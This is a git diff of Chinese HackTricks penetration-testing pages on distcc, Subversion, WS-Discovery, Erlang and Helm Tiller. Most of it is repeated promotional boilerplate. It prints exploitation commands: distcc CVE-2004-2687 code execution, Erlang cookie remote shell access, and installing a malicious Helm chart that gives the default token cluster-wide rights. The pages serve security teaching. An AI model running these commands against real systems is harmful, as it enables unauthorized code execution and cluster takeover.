* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库 **提交PR来分享你的黑客技巧。**
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# 基本信息
|
||||
|
||||
Distcc旨在通过利用其他计算机上未使用的处理能力来加速编译。安装了distcc的机器可以将代码发送到网络上的另一台计算机进行编译,该计算机安装了distccd守护进程和兼容的编译器。
|
||||
**Distcc**是一种工具,通过利用网络中其他计算机的**空闲处理能力**,增强了**编译过程**。当在一台机器上设置**distcc**时,该机器能够将其**编译任务**分发给另一台系统。接收系统必须运行**distccd守护程序**,并且必须安装有**兼容的编译器**以处理发送的代码。
|
||||
|
||||
**默认端口:** 3632
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
3632/tcp open distccd
|
||||
```
|
||||
# 利用
|
||||
# 漏洞利用
|
||||
|
||||
检查是否容易受到 **CVE-2004-2687** 影响以执行任意代码:
|
||||
检查是否容易受到 **CVE-2004-2687** 漏洞的影响,以执行任意代码:
|
||||
```bash
|
||||
msf5 > use exploit/unix/misc/distcc_exec
|
||||
nmap -p 3632 <ip> --script distcc-exec --script-args="distcc-exec.cmd='id'"
|
||||
|
@ -38,19 +38,4 @@ _我认为shodan没有检测到这项服务。_
|
|||
* [https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec](https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec)
|
||||
* [https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855](https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855)
|
||||
|
||||
帖子由 **Álex B (@r1p)** 创建
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
由 **Álex B (@r1p)** 创建的帖子
|
||||
|
|
|
@ -1,27 +1,24 @@
|
|||
```markdown
|
||||
<details>
|
||||
|
||||
<summary><strong>从零到英雄学习AWS黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# 基本信息
|
||||
|
||||
Subversion是当今可用的众多版本控制选项之一,通常缩写为SVN。\
|
||||
Subversion用于维护项目的当前和历史版本。Subversion是一个开源的集中式版本控制系统。它根据Apache许可证授权。它也被称为软件版本和修订控制系统。
|
||||
**Subversion**是一个集中式**版本控制系统**,在管理项目的当前和历史数据方面发挥着至关重要的作用。作为一个**开源**工具,它在**Apache许可证**下运行。该系统被广泛认可,因为它在**软件版本控制和修订控制**方面的能力,确保用户可以高效地跟踪随时间变化的内容。
|
||||
|
||||
**默认端口:** 3690
|
||||
```
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
3690/tcp open svnserve Subversion
|
||||
```
|
||||
|
@ -38,14 +35,14 @@ svn up -r 2 #Go to revision 2 inside the checkout folder
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>从零到英雄学习AWS黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,28 +1,26 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>零基础学习AWS黑客攻击到高手</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在 **HackTricks中看到您的公司广告** 或 **下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# 基本信息
|
||||
|
||||
Web服务动态发现协议(WS-Discovery)是一种多播发现协议,用于在本地网络上定位服务。
|
||||
**Web Services Dynamic Discovery Protocol (WS-Discovery)** 被识别为一种旨在通过多播在本地网络中发现服务的协议。它促进了**目标服务**和**客户端**之间的交互。目标服务是可供发现的端点,而客户端是积极寻找这些服务的端点。通信是通过**UDP上的SOAP查询**建立的,定向到多播地址**239.255.255.250**和UDP端口**3702**。
|
||||
|
||||
在WS-Discovery术语中,目标服务是为发现而提供自身的端点,而客户端是搜索目标服务的端点。两者都使用SOAP查询通过UDP向239.255.255.250多播地址发送,目的UDP端口为3702。
|
||||
加入网络后,目标服务通过广播**多播Hello**来宣布其存在。它保持开放以接收来自按类型搜索服务的客户端的**多播探测**。按类型搜索服务时,客户端会使用唯一标识符(例如,IP摄像头的**NetworkVideoTransmitter**)进行搜索。作为对匹配探测的响应,目标服务可能会发送**单播探测匹配**。同样,目标服务可能会收到旨在通过名称识别服务的**多播解析**,如果是预期目标,则可能会回复**单播解析匹配**。在离开网络时,目标服务会尝试广播**多播Bye**,表示其离开。
|
||||
|
||||
![](<../.gitbook/assets/image (633).png>)
|
||||
|
||||
当目标服务加入网络时,它会发送一个多播Hello 1。目标服务可以随时接收到一个多播Probe 2,这是客户端发送的消息,用于按类型搜索目标服务。类型是端点的标识符。例如,IP摄像头的类型可能是NetworkVideoTransmitter。如果目标服务匹配Probe(其他匹配的目标服务也可能发送单播Probe Matches),它也可能发送单播Probe Match3。类似地,目标服务随时可能接收到一个多播Resolve4,这是客户端发送的消息,用于按名称搜索目标,并且如果它是Resolve的目标,则发送单播Resolve Match5。最后,当目标服务离开网络时,它会努力发送一个多播Bye 6。
|
||||
|
||||
**默认端口**:3702
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
|
@ -35,14 +33,14 @@ PORT STATE SERVICE
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客攻击直至成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,12 +2,12 @@
|
|||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
@ -55,7 +55,7 @@ PORT STATE SERVICE VERSION
|
|||
|
||||
## 远程连接
|
||||
|
||||
如果你能**泄露认证cookie**,你将能够在主机上执行代码。通常,这个cookie位于`~/.erlang.cookie`中,并且是由erlang在第一次启动时生成的。如果没有被修改或手动设置,它将是一个长度为20个字符的随机字符串[A:Z]。
|
||||
如果你能**泄露认证cookie**,你将能够在主机上执行代码。通常,这个cookie位于`~/.erlang.cookie`中,并且是由erlang在第一次启动时生成的。如果没有修改或手动设置,它将是一个具有20个字符长度的随机字符串[A:Z]。
|
||||
```bash
|
||||
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
|
||||
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
|
||||
|
@ -96,14 +96,14 @@ msf5> use exploit/multi/misc/erlang_cookie_rce
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,30 +1,30 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# 基本信息
|
||||
|
||||
Helm是Kubernetes的**包管理器**。它允许打包YAML文件并在公共和私有仓库中分发它们。这些包被称为**Helm图表**。**Tiller**是默认在端口44134**运行**的**服务**,提供服务。
|
||||
Helm是Kubernetes的**包管理器**。它允许打包YAML文件并在公共和私有存储库中分发它们。这些包被称为**Helm Charts**。**Tiller**是默认在端口44134上运行的**服务**。
|
||||
|
||||
**默认端口:**44134
|
||||
**默认端口:** 44134
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
44134/tcp open unknown
|
||||
```
|
||||
# 枚举
|
||||
|
||||
如果您能够**枚举不同命名空间的 pods 和/或服务**,请枚举它们,并搜索名称中含有 **"tiller"** 的服务:
|
||||
如果你可以**枚举不同命名空间的 pods 和/或 services**,请枚举它们并搜索名称中带有**"tiller"**的实例:
|
||||
```bash
|
||||
kubectl get pods | grep -i "tiller"
|
||||
kubectl get services | grep -i "tiller"
|
||||
|
@ -33,38 +33,7 @@ kubectl get services -n kube-system | grep -i "tiller"
|
|||
kubectl get pods -n <namespace> | grep -i "tiller"
|
||||
kubectl get services -n <namespace> | grep -i "tiller"
|
||||
```
|
||||
```markdown
|
||||
# 渗透测试 Tiller (Helm 的服务器端组件)
|
||||
|
||||
Tiller 是 Helm 的服务器端组件,它在 Kubernetes 集群中运行,并允许用户通过 Helm 客户端与集群交互。如果未正确配置,Tiller 可能会暴露敏感信息或允许未经授权的用户执行命令。
|
||||
|
||||
## 发现 Tiller
|
||||
|
||||
要发现集群中的 Tiller 服务,可以使用以下命令:
|
||||
|
||||
```
|
||||
kubectl --namespace kube-system get pods | grep tiller
|
||||
```
|
||||
|
||||
这将列出 kube-system 命名空间中的所有 Tiller pod。
|
||||
|
||||
## 利用 Tiller
|
||||
|
||||
如果 Tiller 服务未正确配置,攻击者可能能够部署恶意图表或修改现有图表。以下是一些可能的攻击场景:
|
||||
|
||||
- **读取敏感信息**: 攻击者可以尝试读取 Tiller 服务的环境变量或配置文件,以获取敏感信息。
|
||||
- **未经授权的命令执行**: 如果 Tiller 服务允许未经授权的用户执行命令,攻击者可以利用这一点来执行恶意操作。
|
||||
|
||||
## 修复建议
|
||||
|
||||
为了保护 Tiller 服务,应该采取以下措施:
|
||||
|
||||
- 确保 Tiller 仅在需要时运行,并且仅由授权用户访问。
|
||||
- 使用 RBAC (基于角色的访问控制) 限制对 Tiller 的访问。
|
||||
- 定期检查 Tiller 的配置和权限,确保没有不当的权限设置。
|
||||
|
||||
通过采取这些预防措施,可以减少 Tiller 服务被攻击的风险。
|
||||
```
|
||||
示例:
|
||||
```bash
|
||||
kubectl get pods -n kube-system
|
||||
NAME READY STATUS RESTARTS AGE
|
||||
|
@ -76,38 +45,24 @@ NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S)
|
|||
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
|
||||
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
|
||||
```
|
||||
您还可以尝试检查端口44134来查找此服务是否正在运行:
|
||||
你也可以尝试查找运行在端口44134上的该服务:
|
||||
```bash
|
||||
sudo nmap -sS -p 44134 <IP>
|
||||
```
|
||||
一旦发现服务,您可以通过下载客户端 helm 应用程序与之通信。您可以使用像 `homebrew` 这样的工具,或查看[**官方发布页面**](https://github.com/helm/helm/releases)**。** 更多详情,或其他选项,请参阅[安装指南](https://v2.helm.sh/docs/using_helm/#installing-helm)。
|
||||
一旦发现了它,您可以通过下载客户端 Helm 应用程序与其通信。您可以使用诸如 `homebrew` 这样的工具,或查看[**官方发布页面**](https://github.com/helm/helm/releases)**。**有关更多详细信息,或其他选项,请参阅[安装指南](https://v2.helm.sh/docs/using\_helm/#installing-helm)。
|
||||
|
||||
然后,您可以**枚举服务**:
|
||||
```
|
||||
helm --host tiller-deploy.kube-system:44134 version
|
||||
```
|
||||
## 权限提升
|
||||
## 提权
|
||||
|
||||
默认情况下,**Helm2** 安装在具有**高权限**的 **namespace kube-system** 中,所以如果你找到了该服务并且能够访问它,这可能允许你**提升权限**。
|
||||
默认情况下,**Helm2** 是以 **高权限** 安装在 **命名空间 kube-system** 中的,因此如果您找到该服务并具有访问权限,这可能允许您 **提升权限**。
|
||||
|
||||
你需要做的就是安装像这样的包:[**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn),它将给予**默认服务令牌访问整个集群中的所有内容。**
|
||||
您只需要安装一个类似于这个的软件包:[**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn),这将使 **默认服务令牌可以访问整个集群中的所有内容**。
|
||||
```
|
||||
git clone https://github.com/Ruil1n/helm-tiller-pwn
|
||||
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
|
||||
/pwnchart
|
||||
```
|
||||
在[http://rui0.cn/archives/1573](http://rui0.cn/archives/1573)中你可以找到**攻击的解释**,但基本上,如果你阅读_helm-tiller-pwn/pwnchart/templates/_中的[**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml)和[**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml)文件,你可以看到**所有权限都被赋予了默认token**。
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客攻击直到成为英雄,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果你想在**HackTricks中看到你的公司广告**或者**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享你的黑客技巧。
|
||||
|
||||
</details>
|
||||
在[http://rui0.cn/archives/1573](http://rui0.cn/archives/1573)中,你可以找到**攻击的解释**,但基本上,如果你阅读_helm-tiller-pwn/pwnchart/templates/_目录下的[**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml)和[**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml)文件,你会看到**所有权限都被赋予了默认令牌**。
|
||||
|
|
|
@ -1,13 +1,13 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
@ -15,9 +15,9 @@
|
|||
|
||||
# **协议信息**
|
||||
|
